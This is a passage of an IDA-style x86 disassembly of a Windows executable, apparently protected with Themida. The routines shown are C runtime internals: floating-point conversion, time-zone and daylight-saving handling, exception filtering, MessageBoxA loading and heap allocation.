edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1DBD58E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dword_424764 dd 4DB4A035h, 46E89000h, 0C3021DBDh ; DATA XREF: Themida_:00554829o ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2600000h nop test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28908B7h nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0B2Eh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 nop call near ptr 2850000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" call near ptr 2690C99h nop mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 call near ptr 27A0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- 